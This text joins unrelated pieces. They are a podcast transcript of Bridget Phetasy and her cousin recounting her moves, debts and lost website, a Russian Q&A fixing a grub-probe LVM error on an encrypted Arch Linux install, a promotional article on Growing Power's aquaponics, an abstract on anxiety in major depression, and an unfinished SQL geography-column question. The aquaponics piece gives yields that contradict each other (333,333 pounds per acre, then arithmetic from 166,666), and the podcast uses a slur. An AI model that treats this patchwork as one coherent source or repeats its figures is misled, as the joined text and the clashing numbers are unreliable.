- I don't know how it works.
I'm not a crazy person.
And then my landlords
called me and they're like,
well, do you work for Oliver Stone?
I was like, no I don't
fucking work for Oliver Stone.
Living in this shitty apartment.
- I would love to meet Oliver Stone.
- So then I was in debt, mind you.
This is pre-Phetasy.
So we're going back to,
like, this is like 2001.
Kitty.
It was the Napster years,
it was the glory days
of the internet.
I was working for buddyhead.com.
I was interning.
And some of you might be
familiar with Buddy Head.
It was the first sex column I wrote.
I was the Buddy Head girl.
I was the only girl.
We had insane adventures.
We went to Sundance, we
went to South by Southwest,
when South by Southwest was cool.
Like, Travis and I drove
overnight one night
26 hours straight, you can
do that when you're 21,
and just got there and went to our buddies
who were performing, and showed up
right as they were getting on stage
and then partied.
And then we were partying
with At the Drive In
on the way home in El Paso, I mean,
my life's been nuts, guys.
Nuts.
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- So you were living in LA, but then,
so then you had to move back
to Minnesota again, right?
- No, Rhode Island.
- Rhode Island.
And so you put your stuff-
- There were other
family things going on and I went home.
- But you put your stuff in storage.
- But I put my stuff in
storage because my landlords,
weirdly, couldn't do anything
or weren't doing anything
fast enough about my neighbor
and I was legitimately
worried about my safety
and then I was like,
all right I'm gonna go home and work.
I come from a resort town
so I was, just figured
I'd go home and work-
- For the summer.
- For the summer, save
money, and come back to LA.
That was in 2000 and like, two.
- 10 years later, Bridget
makes it back to LA.
- It wasn't 10.
- It wasn't 10.
It was, like, I moved in 2007, so.
2007.
So it was like six years.
- About six but it felt like-
- A lot longer.
- I call them the dark years.
- Cause you got married in between.
- Well, my dad was like,
don't get stuck in the trap, Bridget.
Don't get stuck in the rut.
And I'm like, I'm not gonna
get stuck in the rut, dad.
- And then you got stuck.
- And then I got stuck in the rut.
The restaurant industry
rut, and I convinced myself
this girl with all these
massively huge dreams,
by the way, I moved to
LA to be an actress,
that's what I wanted to do initially.
I convinced myself that I was
destined to be a waitress.
And that was my, that was just it.
And then I got married two years later
to a Belarussian.
- A Belarussian busboy.
(both laugh)
I still remember when you first saw him.
Where we were and what we were doing.
- We were basically,
like, not hoes but like,
it was like hoe adjacent.
- My godmother had called me and was like,
I have all these sailors in town.
- It's hoe adjacent.
- And was like, we're going out to dinner
and we need some women so
will you get some women
to come along?
So we were at this dinner
with a bunch of sailors
who were in town, cause the town-
- They were pretty hot,
but they were sailors.
- Sailors, whatever.
So we were at this dinner-
- If you come from
a sailing town, you know
what sailors are like.
- And there were, there were
a bunch of good looking men
at this dinner, and Bridget's
fascinated by the busboy.
(both laugh)
- I got fixated on him.
- She was like, that busboy is so hot.
He's so hot.
- Yeah, I was just like fixated on him.
And my cousin, other cousin, not Maggie,
was like, really, Bridg?
There are all these hot
guys here with money
and you're fascinated with the busboy
who doesn't speak English?
And then I end up marrying him.
I went back, like, two nights
later, and picked him up.
And then whoa, and then we
had a drunken one night stand.
(both laugh)
And he woke up in the
morning and he was like
(moaning) I'm so sick.
I'm so sick.
And I was like, uh, what a pussy.
I thought you Russians
could handle your liquor.
And I was like, I'm outta here, bye.
And so I left.
Didn't think I'd hear from him again,
but wanted to hear from him.
And I was like, that mother
fucker never called me ever.
- After like a week.
- And then I go down to
the place where he worked
and they're like Bridget,
Bridget, did you hear about,
did you hear about your Russian busboy?
He had appendicitis that
morning and had to go
rush to the emergency room,
and I basically left him there dying.
Like, mocking him.
(both laugh)
He still, even when we got married,
he used to give me hell for that.
Like, remember when you left me dying
the first night we met?
Like, I didn't know.
- Okay, but so, you were in,
so you got stuck in the trap.
Were in our home town for about six years,
and then that's when, I mean,
we were attached at the hip.
You moved in with me twice.
When you, like, had moved around.
And then-
- I was a bit of a homeless vagabond
after I left the marriage.
- And then you went on tour
and then you came back.
We went to (beep) wedding.
And then I, then I had decided to move
cause I finally finished school.
- And you were like, I gotta get outta
this small town.
- I was like,
I gotta get outta this town
where I'm related to everyone.
So I decided to, like, I
was basically throwing darts
on a map.
Like I picked Park City,
Utah because it came up
three times in one week in conversation.
And I wanted to move to a resort town,
I wanted to move west.
I was like, mountains would be cool.
I'll go to Park City.
- And what the, oh, I
remember, I was like,
what the heck was I doing?
But I was in, like, the
hellish, most hell experience.
- Right, yeah.
- There was some family
drama and it was insane
and it was all consuming
and I also was like
coming off the heels of a
massively failed attempt
at trying to do something
with my business.
The website still existed,
but I was in financial,
over my head, and then Maggie
left me behind for Utah.
- So, we, I moved to Utah.
You moved me out there,
and then we drove to LA
to clear out your storage unit.
- Because I'm like, oh I have stuff.
And now I'm clearly not
ever going back to LA.
Cause I'm an idiot.
- So we cleared out the storage unit.
We drove back to Utah.
You gave me a bunch of stuff to use
for my new apartment and new life.
- The shit hit the fan in my family.
- Then you flew home and within a month,
you had moved to Utah.
Into my apartment with me.
- Yeah, that was a, I mean,
that whole time in my life.
Holy crap.
- That was a, you had, like
a house in Rhode Island
and all of it and then
you, within a month,
you had packed up and-
- Oh, less than a month.
I had been, I had resettled
back into the house
after it had been emptied.
And then-
- It's a bit of a family dust up.
Which we don't need
to go into details.
- I'm glad I can laugh
about this now.
It was traumatic for everyone.
- And then you called me and I was like,
just come here.
Come to LA, come to Utah.
- I was in dire straights.
That was (beep) idea,
was like go to Maggie.
- That's true, that's right.
- And Maggie and I had been
like saving each other's ass
for about a decade, at that point.
And I was, I said okay.
And then-
- My sister drove out to Utah with you.
- Yep.
So then I drove across the country again.
Jesus Christ.
No wonder, you know, I was recently,
not recently, a couple years ago,
I was at a gas station and I was talking
to my mom, and I was like, mom,
she was talking about doing a road trip,
I'm like, you don't wanna take the 40,
that's the Walmart Highway of the world.
And these truckers were next
to me in the gas station
and they were like, why do
you sound like a truck driver?
How do you know the highways
like a truck driver?
But I have somewhere
how many miles it was.
- Yep.
- Well, it was on the old
Phetasy, on the BB car.
- But, so you moved out to Utah.
You stayed with me in my studio apartment
for six months.
- I had three jobs.
I worked at two restaurants
and a ski lodge.
- And I was living in this, like,
it was like a cross between
a hotel and apartments.
So like some people
was, we had one of those
sliding door keys for my key.
But it was like, it had amenities.
It was nice, it had a gym and like a pool
and a hot tub.
- I love Park City.
- We were right outside the town.
We were about 10 minutes outside.
- It's so gorgeous.
- We had fun in Park City for-
- Raged.
Year, I was there for Sundance.
And then I met, I was there for Sundance
and I met lots of people
cause I did VIP at Harry O's.
And I, you know, LA invades.
And no matter what, I always say this,
chase your dreams or they'll chase you.
And even leaving LA, I was
always trying to get back.
Even when I was married, I came out to LA
and I was trying to convince
him to move there with me
and he wasn't that into it, really,
and he didn't know what he'd do,
and I just wanted to get back desperately.
And then I met a really creative person
and we ended up spending
some Sundance together,
just palling around, and he was like,
you're creative, you belong in LA.
What are you doing?
And I got offered a job in
New York at the same time
by these guys who came, I
mean, you meet a lot of people.
- And you were working in the bars
in the places where-
- Yes, as a matter of fact I am Brazilian.
Everyone kept saying, are you Brazilian?
Because there were so many
Brazilians in Park City,
and I was saying, you could
say that to any woman,
it should be the pickup line for all men,
because if you say to
anyone, are you Brazilian?
Even if they're Asian,
you're basically saying-
- You're gorgeous.
- Are you the most
gorgeous person in the world?
And so the ongoing joke is
yes, as a matter of fact,
I am Brazilian.
- Yeah, and we threw a Phetasy party.
- Yep, we threw a Phetasy party.
We hadn't given up on the dream.
- And then you, in like,
in March in the spring,
after the season was
over, you moved to LA.
- And then, yep.
I had to get out.
I was gone.
- Okay, tell the story of
your getting your apartment,
when you were moving back.
- Oh, yeah that's nuts, too.
And then, I basically
am the kinda person who,
when I make up my mind to do something,
it just happens almost like magic.
Like I had sold everything in
that house in Rhode Island,
in like a week, and then with Maggie I,
I was falling into some bad habits, too.
And Park City is very
much like our home town,
just in the mountain.
It's a resort town.
- It's the same kind of,
we weren't related to everyone,
but it's the exact same town.
- Started feeling really small.
And so then we ended up,
I ended up like overnight moving to LA.
- Well, you had talked to
someone and you had an apartment.
- It was like 48 hours.
- No, but you had an apartment lined up.
You were ready to move in with
someone, or ready to move,
one of your friends.
- I had a job
and an apartment and then I
was right outside of Vegas,
on my way back to LA, but I made it happen
in like, it was like four days.
And I was on my way back to LA,
and the phone rings,
and it's the apartment
and they're like, sorry it fell through.
And the job fell through, too.
It was like, oh no.
This all happened on the drive.
And immediately after I
hung up with the people
telling me that my apartment
had fallen through,
another blocked number called me
and I'd never normally answer them,
but something in me was like,
answer that blocked number.
And I did, and it was my old landlord,
from when I lived in LA
in the little bungalows.
- And you had called them the week before.
- And I totally forgot
that I had called them,
and he said a one bedroom had opened up
and it was like 1200,
which seems so insane now,
because one bedrooms in LA are like 1800.
- 2000.
- Yeah and that wasn't even that long ago.
- And they just wanted to offer it to you
before it went on the
market because you had been
a good tenant.
And they probably
- [Both] Still felt bad.
- About the Dagmar incident.
- Oliver Stone.
- Yeah, and I was like, yeah I'll take it.
I don't even need to see it.
And so then I ended up coming back
and that was that and
I've been here ever since.
- Right, so then after
I had been in Park City
for almost a year, it was
slightly under a year.
I stayed there through the summer,
and then in September, I was like,
I called you I think I was crying.
I was like, I don't know what to do now.
- I'm like, come to LA!
- You're like, come to
LA, we'll figure it out.
I was like, okay.
So I packed up my car and I drove to LA.
- You were kinda like,
I don't know, it's hot.
I hate the heat.
- Was like, uh, LA is not really my style.
- Yeah, it's not Maggie's
style at all, by the way.
Maggie likes winter and quiet.
- Yeah, I like, the incessant sun in LA
just drives me crazy.
But it is an amazing place,
I never thought I'd like it
as much, but I don't think
I would've liked it as much
if I hadn't landed in Santa Monica.
- Well, then we lived together.
- Right, I stayed in your one bedroom
for like a year and a half,
we shared that apartment.
- We were so-
- So broke.
- So 2008 hit, I was teaching private yoga
and hustling a million other jobs
and working with autistic kids,
because that was what I
was doing when I left LA
when I was young.
I got hooked into working
with kids with autism
by, it was like, an ad
I had seen somewhere.
They wanted creative
people instead of trained
behavioral therapists.
And I ended up being an aide
to these kids with autism
and for some reason, it's
just something that's
always come natural to me.
And so I was doing that again.
I was teaching theater to kids.
I was teaching yoga all over the place.
And when I first came to
LA, I was working in a bar.
That didn't work out very well,
for like six months I did it.
And then I woke up one
morning and I didn't remember
how I got home, and I was
like, I can't go back.
I've always been good at
pulling myself off the ledge,
even when I was using.
Although I'm very lucky.
I should be dead.
But there were those moments of clarity,
where I'm like, oh, I gotta dial it back.
And quit this job cause it's toxic.
So then, we were doing
all kinds of odd jobs.
What were you doing?
- I was, first I didn't wanna go back
to waitressing.
- Oh you didn't have a job.
- Well, I didn't wanna
go back to waitressing,
cause I'd been doing it for so long.
And I just finished in
Utah and I was like,
oh God I can't do waitressing.
- Were you waitressing in Utah?
- Yeah.
- Oh yeah.
- And then I became a personal
assistant for a while.
I was doing babysitting.
I was nannying.
But then finally, I was like,
I'm not making enough money
cause we were so broke, so
I went back to waitressing.
- 2008 hit, and I'm the first thing to go.
I'm disposable income.
Even now, if that happened now,
that would still be the case.
It was bad.
And mind you, I was still
in debt from Phetasy,
from driving around, and
those were adding up.
- You were missing payments and-
- I was still married, technically,
because I left, I thought when I left,
I was like, oh, I'm just gonna get,
we thought we'd get separated
and see how it went,
and maybe he would come
out or maybe I'd go home
or whatever, and we stayed married
because we were like, well let's
not get divorced right away
and maybe it will work out
and we'll miss each other
and whatever.
So I was still married.
I was drowning in debt, drowning.
And we had all these bills.
My car was about to get repoed.
I was like two or three, I
think it was three payments
behind on it, and-
- We were in this apartment.
It was basically empty.
I was on a blow up
mattress in the bedroom,
and you were on futon in the living room.
And the blow up mattress
I was on started to leak.
- It was some dark times.
- And we couldn't afford
a new blow up mattress.
- [Both] We couldn't afford shampoo.
- We got our shampoo at the Dollar Store,
which I do not recommend.
It was horrible shampoo.
And we'd have, like, we'd call them
the days of soup and toast.
We'd have soup and toast for dinner.
- Maggie and I did the
Master Cleanse for two weeks
because we couldn't afford food
and we were like, oh
we'll just do the cleanse.
- Do the cleanse.
- And it was two weeks.
Yeah.
- It was actually pretty good.
But you-
- It's good to know
you can go two weeks without
food if you have enough
molasses and lemons around, and water.
- You were going on dates to get meals.
- Oh yeah, I was.
- You were on sugardaddy.com.
- I was on sugardaddy.com going on dates,
bringing home left overs for Maggie.
Like here's some filet for us.
- You were telling one of
your dates, you were like,
yeah Maggie and I are about
to sit down and have dinner.
He was like, oh what are you having?
You were like, soup and toast.
That was how it got branded
the days of soup and toast.
He was like, that's not a meal.
- He's like what is this,
the great depression?
But it really was for most
of us who weren't in the 1%.
- Right.
- Those were very tough times.
Massive amounts of wealth got
wiped out of middle America.
And the rich just got richer.
But that's another topic for another day.
I was the one, remember how I was like,
there's gonna be a crash?
- Yep.
- And I predicted it.
And I wrote a fricken blog.
Cause I was still
writing on Phetasy every,
all these stories.
- It was like
your online journal.
You were just writing.
- And I was like, oh when the
money men start freaking out,
because a lot of my
clients were in finance,
and they started freaking out
and tightening their belts
and telling me, like,
oh things aren't good.
And I was like, when the
money men start freaking out,
like you know.
- It was like two months before the crash.
- Yeah, and there was a column I wrote
and then I put a picture of a
guy jumping out of a window.
(both laugh)
- It was like an ad.
- And Phetasy crashed.
- And that one column disappeared
off of Phetasy.
- I'm sure it's
a weird coincidence.
But the whole website, I
went to go to the website
one day and it was empty.
- It was gone.
- Like, the whole thing.
Everything has been deleted.
- They restored it, our guys restored it,
but they couldn't restore that article.
That article had vanished.
- We could never find it
anywhere, and I could never even find it
on my hard drive.
I still to this day
can't find that article.
- So, we have some conspiracy theories
about that one.
- I don't know.
It is weird.
That was a weird one.
I was like, when the money
men start freaking out,
you better watch it, and
then the market crashed.
And I lost all my clients.
It was the days of soup and toast.
- We couldn't afford a
tea pot because that was,
became our symbol of prosperity,
was finally being able to get a tea pot.
- Which looking back was really dumb, too.
Because I wonder how much money we wasted
just like, even like a toaster oven.
We used to burn toast,
for the soup and toast,
we didn't even have a toaster oven.
- So we'd use the broiler.
- And then we'd burn it.
And how much gas bill did I
pay, just making fricken toast?
- Oh, yes.
- It wasn't exact-,
that was when, too, we went to the Costco.
The Costco trip.
- Oh, God.
So for some reason,
Bridget and I are idiots
and decided-
- We called ourself, and
you can't say this anymore.
- I don't think so.
- Maggie's nodding her head.
- Shaking her head.
I'm like, no.
- Shaking her head.
- I'm gonna have to
edit it out anyway.
- R-tards Galore.
(both laugh)
Maggie's more politically
correct than I am.
But you can't say this
anymore, and I understand why,
but back in 2007, it was still
a mildly acceptable term.
Maybe not.
- Because we're from the east coast
where it's still thrown
around pretty regularly.
- Loose and furiously.
And it's kind of a term of endearment.
So we would always joke
about how we're just idiots
and we would date anything
and like, we made these
really just basic mistakes
and we still continue to, and-
- So we went, we decided
what we really needed
was to get Phetasy going again,
and what we really needed
to do, in order to make
that happen was we needed-
- Spend more money.
- A ton of office supplies,
because that was what
was holding us back.
- And I had like $700 worth of credit
on my credit card.
- Left.
So we went to Costco.
- And I was like, you
know what let it ride.
- Two shopping carts
worth of office supplies
to get organized and organize
the files and all of it.
And that, just to max out
Bridget's credit card completely.
- Looking back.
- And we go to check out and find out
you can only use an Amex, if
you wanna use a credit card,
you can only use an Amex in Costco.
- How have I lived this long?
I'm an idiot.
- So we are like sitting
there trying to figure,
cause we know, if you, if
Bridget applies for an Amex
right now, she's not getting one.
(both laugh)
- Why didn't you apply?
- I think I, I was badly in debt, too.
My credit was shot.
And then we had to abandon
two carts full of stuff
in Costco.
- Oh my god.
- And walk away.
- It was mortifying.
- But we're idiots.
What were we doing?
- I don't know.
Maggie and I are delusional, by the way.
We've had a lot of delusions
of grandeur over the years.
And some of them have come true.
Not all of them, but you know,
and I do say this a lot,
the difference between
delusions and dreams
is hard work and luck.
And like, yeah.
I think sometimes you can have an idea
of what you, where you wanna go,
but it might take 11 years to get there
instead of 11 months.
- Right, which we kind of
thought was how it was gonna be.
- Yeah.
And so then, we somehow
made it through the days
of soup and toast.
- Yep, and then we
stayed in that apartment
for like a year and a half.
And then the two bedroom apartment
in our same building opened up.
- We slowly started upgrading.
- Right, and we moved into that.
- Things started getting better.
- Yep.
- I still don't really
know what I was doing
all those years.
- It's a little unclear.
(both laugh)
- I was hustling.
Teaching a lot of yoga.
I was in amazing shape.
- You were waitressing.
At certain points.
- Yep, yep.
On and off waitressing.
Yoga.
- You were doing other things, I don't,
I'm trying to remember what
the hell you were doing.
- Aide to kids.
It was the same.
- That's right, that's right.
- Who fucking knows.
- Then one of the studio
apartments opened up
in the building, and I moved up there
and you kept the two bedroom.
And then you started-
- Well, because I realized
I couldn't be a sugar baby.
That was what happened during
the days of soup and toast.
Like I went on some dates.
I was kind of, like,
dipping my toe in the water.
I'm like, can I do this?
Cause I knew, I know women in LA who do,
and it looks amazing.
They've got apartments and
cars and all kinds of shit.
- You just could never be
at someone's beck and call.
- No, and I also really,
I can't dial it in.
I can't like be attracted to somebody
I'm not attracted to.
- And fake it.
- Yeah, I'm just, I can't do it, I can't.
I wish I could, I'd be so rich.
- So then you went traveling
again, for like two years.
- Oh, I got my heart broken.
- That's right.
You got your heart broken
and you started doing
couchsurfer.com and like had
people come and stay with you.
And that's how you met Luna.
- Well, yeah.
And then Luna's-
- You wanted to build up
credit on your couch surfers.
- Luna's my friend who's currently
staying with me right now.
And we've become like
sisters from another mister
and I've gone and stayed
with her in London
and she's come here.
- And she and I watched
Prince William's wedding
when she was here and you were gone.
- Luna's like family now.
- Yeah, she stayed
- You'll probably
- In your apartment
- we'll probably
- For like a month.
- We'll broken do a podcast with Luna.
And then we ended up, I then I went up
to work on a farm that,
it's another long story.
We should save those for another day.
But long story longer,
we ended, what led to,
so years go by basically.
Phetasy's just like,
- Your online blog.
- Yeah, but it, I'm not
really even on it anymore.
I mean, I can't even post on it because-
- Because it was so old.
- It was so old and then my web designer
moved to Puerto Rico.
- And you didn't have
any money to upgrade it
or do anything, you're like
I'm not putting any more money
into Phetasy until I have a business plan.
- Yeah, and then I ended up going back
to the farm last year and
it was on my birthday.
I woke up, and Phetasy would kinda pop
in and out of existence.
Sometimes we'd go and she'd be there.
- Up and then sometimes-
- She'd be gone, and
then she'd pop back up.
And I was still paying
for her to be hosted,
so I at least wanted it.
And then one day, I went,
last year, a year ago
almost exactly, and she was gone.
Like completely gone.
Not even on the back end.
Gone.
It was like the server is gone.
And I emailed my freaking web designer
who skipped the country
and went to Puerto Rico.
And he's like, oh yeah,
the server disbanded
and moved to France.
I was like, what, servers can do that?
My whole website's gone.
- Right.
- And there was nothing
he could really do.
And so over night, it was
like, all things must die.
- 10 years of work and writing was gone.
- Gone.
And I had to, like, not
have a nervous breakdown
on this farm because I, it was,
I had kinda gotten used
to it, with Phetasy,
popping in and out of existence.
- She scared you a lot over the years,
of disappearing.
- She'd given me
enough of a run.
She would run away a lot,
but she always came back.
- And this time, she was permanently just
- [Both] Gone.
- It was kinda traumatic.
And I remember sitting by the fire,
the wood fire up there,
and just being like,
in shock, like somebody died.
And everyone was like, are you okay?
I'm like, my website.
Phetasy is dead-asy.
We always used to joke,
Phetasy isn't dead-asy.
But that day, Phetasy was dead-asy.
- Phetasy died.
- And I had started, I
had Patreon at this point
because I started that in London,
which is another whole story,
when I thought I'd lost my job at Playboy
because my editor got
fired and then I panicked
and started a Patreon, essentially.
And I had a Patreon for
like a year and a half.
At that point.
I don't even think, yeah,
it was a year and a half.
And so-
- So Patreon kinda became-
- Phetasy.
- Phetasy after-
- And Patreon was what
Phetasy was supposed to be.
A subscriber service with different levels
and different things that you can offer.
And now, here we are.
- Yep.
- Sitting here telling
you guys these stories
of how, so I will re-
- Boot.
- Boot Phetasy someday.
- We are making plans
to bring Phetasy back
into the world.
- I loved her so much.
I still miss being able to go there.
And you know honestly, it's probably good
that she's gone.
Because I didn't have, it was hundreds,
you know, Malcolm
Gladwell has a whole idea.
Is it Malcolm Gladwell,
that's got the 10000 hours?
That's when people ask me where I learned
how to write, it was there.
It was 10000 hours of writing, easily.
- Easily.
- Of, like hundreds and hundreds of pages
of material of me just
writing about life for years.
For like a decade.
That's where I wrote.
And then overnight, it all vanished.
- Clean slate.
- Clean slate.
And probably good, though
because at this point, too,
my Twitter was starting to
get a little more active.
And you know, God-
- God only knows what was
on the site at that point.
- I'm so grateful that
it's gone now, actually.
It kind of is, I'm sure, as
was my tattoo not happening,
I'm sure Phetasy disappearing
right when she did
was a huge blessing in disguise
that I don't really know
what the purpose was for.
- But you trust in that kind of-
- I do.
I trust in it.
And it will be back.
And you know, as you can
maybe tell from this story,
I am like a dog with a fricken bone
when it comes to chasing my dreams
and especially Phetasy
because she's designed,
I mean, in the spirit of a crop circle.
But looks like a bullseye.
And for me, and Maggie, we've always said
all roads lead to Phetasy.
So everything I do is
really just in attempt
to get that brand back up and running.
- Right, and following
through on all the stuff
we always wanted to make.
- Creating cards and t-shirts.
- We just wanna make stuff.
Shorts, like whatever.
- Sketches.
The only reason I'm doing any of this
is cause I just, people
are like, what drives you?
I'm like, I just wanna make stuff.
- Right, and we only, we make
stuff that makes us laugh.
- And that's it.
I just wanna make stuff
that kind of pokes,
you know, makes like the Make
Brad Pitt Great Again hat,
it's just something that's
poking fun at a symbol.
You know, I wanna make,
I just wanna be a little,
Phetasy was always trolling
people in real life.
My first t-shirt said Are
You That Fucking Cool?
And I used to wear it in Williamsburg
and make everybody angry.
- People would be so mad at that t-shirt.
- Oh, god especially in Williamsburg.
- It was 10 years before it's time,
because now people would be
like, where could I get that?
- Every time I wear it in
Venice, everyone's like
where did you get that shirt?
So yeah, it's the time of Phetasy.
Is now.
- This is the dawning of the age-
- Yeah, you'll hear a lot more stories.
But that's the, that's the
origin story of Phetasy.
- That's the start of this journey
that we've been on now for-
- A long time.
- Long time, yep.
Maggie was my first editor.
And then first thing I ever
really wrote that I was like,
I'm gonna write this, is
like, a piece of erotica.
- Right, and you were like,
wow, you're really good at this,
and I was like, huh.
I didn't know that.
- And now we're making podcasts together.
So that's really all I
wanna do is like make stuff.
The only goal has ever
been to build something
that I can make stuff with.
- And make people, hopefully
make some people laugh with it.
- And inspire people.
- And piss some people
off along the way, too.
Of course, that's just inevitable.
- Well, (mumbles) Jesus.
- That's just inevitable.
- Someone's gonna get
mad at me saying R-tard.
(both laugh)
- The look on your face.
- I mean, it's just such a
great and unfortunate thing.
- Well, so that is, that's
actually a good place
to stop, we're about at an hour.
- Perfect.
- Good place to stop
for the first story hour
with Bridget.
And as you can tell, Bridget's stories
are crazy, there is, I can vouch for them
all being true.
And there's like a million more like this.
Like this is only the very smallest sliver
of what her life has been.
- And all the stories within this story
that I can't tell yet.
- Yes, and but this is like-
- Maggie has permission to tell them
when I'm dead, though.
- The smallest sliver of your stories.
So,
- And yours.
- We'll get to those.
We'll get to those piece by piece.
- And I wanna hear from you guys.
If you have questions.
Let me know, let us know.
We wanna hear you know, if you're like,
what blah blah blah.
I can't promise that I'm gonna answer them
if it's something that I
don't wanna talk about,
but I do, I do, like send us questions.
If you have questions about anything,
whether it's any of my guests,
whether it's life, whether
it's any of my story, send me.
I know a lot of people
have been asking me,
who are you and what are you doing?
So I thought it would
be a good place to start
with the origin of Phetasy
and the name and the word.
- And the brand.
- And the brand.
- Yeah.
- Now go spread this.
- Spread the word.
- Far and wide.
The word of Phetasy.
I am the daughter of God.
(both laugh)
I start my cult today.
- And we're done here.
- Just a reminder.
Our sponsor this week is Follain.
For only $22, try the
clean essentials kit today.
Go to follain.com/walkin to try the kit,
and enter walkin at check
out for free shipping.
That's spelled
f-o-l-l-a-i-n.com/walkin, w-a-l-k-i-n,
and use promo code walkin at check out
to get your clean
essentials kit for only $22
with free shipping.
Tune in next week for
another riveting episode
that will change your
life, help you get out of
your own way, and solve
all the world's problems.
I wanna thank Ricochet, my
co-producer and cousin Maggie,
and all of you out there listening.
This has been Walk-Ins
Welcome with Bridget Phetasy.
I'm Bridget Phetasy.
And you're welcome.
(laughing)
(upbeat music)
That's the dumbest line.
(air whooshing)
(arrow hitting target)
| 2024-01-07T01:26:51.906118 | https://example.com/article/7472 |
Q:
archlinux grub lvm - /usr/bin/grub-probe: ошибка: не найдет диск (Решено)
Устанавливаю на чистый бук archlinux с luks.
Все делаю спокойно и непринужденно:
Все ставлю как обычно, иду в chroot
pacman -S sudo grub-bios os-prober
sed -i -e 's/# %wheel ALL=(ALL) ALL/%wheel ALL=(ALL) ALL/' /etc/sudoers
Вставляю в Хуках файла /etc/mkinitcpio.conf: encrypt и lvm2 перед filesystems
mkinitcpio -p linux
sed -i -e 's/use_lvmetad = 1/use_lvmetad = 0/' /etc/lvm/lvm.conf
systemctl enable lvm2-lvmetad.service
systemctl enable lvm2-lvmetad.socket
grub-install --recheck /dev/sda
sed -i -e 's|GRUB_CMDLINE_LINUX=""|GRUB_CMDLINE_LINUX="cryptdevice=/dev/sda2:main"|' /etc/default/grub
grub-mkconfig -o /boot/grub/grub.cfg
Вываливается ошибка:
[root@archiso /]# grub-mkconfig -o /boot/grub/grub.cfg
Генерируется файл настройки grub …
Найден образ linux: /boot/vmlinuz-linux
Found initrd image(s) in /boot: initramfs-linux.img
Found fallback initrd image(s) in /boot: initramfs-linux-fallback.img
/usr/bin/grub-probe: ошибка: диск «lvmid/XmgzMS-K5fu-W0XR-X2pa-UBHg- 0Its-jXvKL9/05gmdw-q9Wc-2aYm-n76Y-B9OW-ppcP-fvjSN1» не найден.
завершено
При этом
[root@archiso /]# vgdisplay | grep UUID
VG UUID XmgzMS-K5fu-W0XR-X2pa-UBHg-0Its-jXvKL9
Есть уже совпадение и
[root@archiso /]# lvdisplay | grep -E "(Path|Name|UUID)"
LV Path /dev/main/root
LV Name root
VG Name main
LV UUID 05gmdw-q9Wc-2aYm-n76Y-B9OW-ppcP-fvjSN1
LV Path /dev/main/swap
LV Name swap
VG Name main
LV UUID kv7eYn-WZDe-YuTz-Sw9i-cIdn-uMQm-hqanQl
LV Path /dev/main/home
LV Name home
VG Name main
LV UUID kVam6w-zyUs-pemv-ffL0-2qNU-A34N-lBNOMh
То есть сами диски/разделы на месте, а вот grub не видит их...
Как быть, подскажите пожалуйста?
Добавлю.
Проблема была решена.
В начале зашифровал раздел
cryptsetup --verbose --cipher aes-xts-plain64 --key-size 512 --hash sha512 --iter-time 5000 --use-random luksFormat /dev/sda
После разных попыток все исправить, перешаифровал раздел без ключа --use-random
cryptsetup --verbose --cipher aes-xts-plain64 --key-size 512 --hash sha512 --iter-time 5000 luksFormat /dev/sda
После этого, все установилось и номально встало.
Будте внимательны)
A:
Проблема была решена. В начале зашифровал раздел
cryptsetup --verbose --cipher aes-xts-plain64 --key-size 512 --hash sha512 --iter-time 5000 --use-random luksFormat /dev/sda
После разных попыток все исправить, перешифровал раздел без ключа --use-random
cryptsetup --verbose --cipher aes-xts-plain64 --key-size 512 --hash sha512 --iter-time 5000 luksFormat /dev/sda
После этого, все установилось и номально встало. Будте внимательны)
| 2024-05-13T01:26:51.906118 | https://example.com/article/9362 |
Imagine growing your own food on your own land, but also enough food to feed your entire neighborhood. Growing Power does just that. They’re able to grow 1 Million pounds of food, year round. Yes! You read that right. They’re in Milwaukee, WI where it’s cold enough outside in the winter to freeze boiling water in mid-air, and they grow food year round in climate controlled greenhouses.
Will Allen came up with the aquaponics system and uses compost to heat the greenhouses. This cuts utility bills, is energy efficient, and allows a simple and easy way to not only heat the greenhouses, but to produce soil for growing. It’s by far the simplest and best system out there for growing aquaponically, and produces such a high yield of crops, that it upends the urban legend that you need 2 acres to feed a family.
Using Will Allen’s methods, anyone can grow enough food per acre (333,333 pounds per acre) annually that you could not only feed your family, but all your neighbors too! The average American eats a little more than a ton of food per year. A family a 4 would consume about 4 tons, or 8,000 pounds of food. That means on 1 acre of land, using the techniques Growing Power uses, you could feed you family and still have over 158k pounds of food left over. (166,666 pounds – 8,000 pounds = 158,666 pounds) That’s enough food to feed almost 20 families with 4 people each, PLUS your own family!
1 MILLION pounds of organically grown food
10,000 fish
300-500 yards worm compost
3 acres of land in green houses
Grow all year using heat from compost piles.
Using vertical space
“A packed greenhouse produces a crop value of $5 Square Foot! ($200,000/acre).” | 2023-09-18T01:26:51.906118 | https://example.com/article/9566 |
Dimensions of anxiety in Major depressive disorder and their use in predicting antidepressant treatment outcome: an iSPOT-D report.
Major depressive disorder (MDD) commonly co-occurs with clinically significant levels of anxiety. However, anxiety symptoms are varied and have been inconsistently associated with clinical, functional, and antidepressant treatment outcomes. We aimed to identify and characterise dimensions of anxiety in people with MDD and their use in predicting antidepressant treatment outcome. 1008 adults with a current diagnosis of single-episode or recurrent, nonpsychotic, MDD were assessed at baseline on clinical features and cognitive/physiological functioning. Participants were then randomised to one of three commonly prescribed antidepressants and reassessed at 8 weeks regarding symptom change, as well as remission and response, on the 17-item Hamilton Rating Scale Depression (HRSD17) and the 16-item Quick Inventory of Depressive Symptomatology (QIDS-SR16). Exploratory factor analysis was used on items from scales assessing anxiety symptoms, and resulting factors were assessed against clinical features and cognitive/physiological functioning. Factors were also assessed on their ability to predict treatment outcome. Three factors emerged relating to stress, cognitive anxiety, and somatic anxiety. All factors showed high internal consistency, minimal cross-loadings, and unique clinical and functional profiles. Furthermore, only higher somatic anxiety was associated with poorer QIDS-SR16 remission, even after adjusting for covariates and multiple comparisons. Anxiety symptoms in people with MDD can be separated onto distinct factors that differentially respond to treatment outcome. Furthermore, these factors do not align with subscales of established measures of anxiety. Future research should consider cognitive and somatic symptoms of anxiety separately when assessing anxiety in MDD and their use in predicting treatment outcome. | 2024-05-30T01:26:51.906118 | https://example.com/article/6322 |
Q:
Update Geography column in table
I have the following table
As you can the Geo column (data type Geography) is null I currently have 11913 rows in this table what I'm trying to do is update the Geo column by using the following statement and populate the Geo column with the data that is provided by Geography::STGeomFromText
DECLARE @Temp TABLE
(
Id bigint,
Latitude decimal(9,6),
Longitude decimal(9,6)
)
Insert Into @Temp (Id, Latitude, Longitude)
Select id, Latitude, Longitude from Location.Cities
where Active = 1
Update Location.Cities
set Geo = geography::STGeomFromText (POINT(Select Latitude, Longitude from @Temp), 4326)
where Id = -- massively confused.....
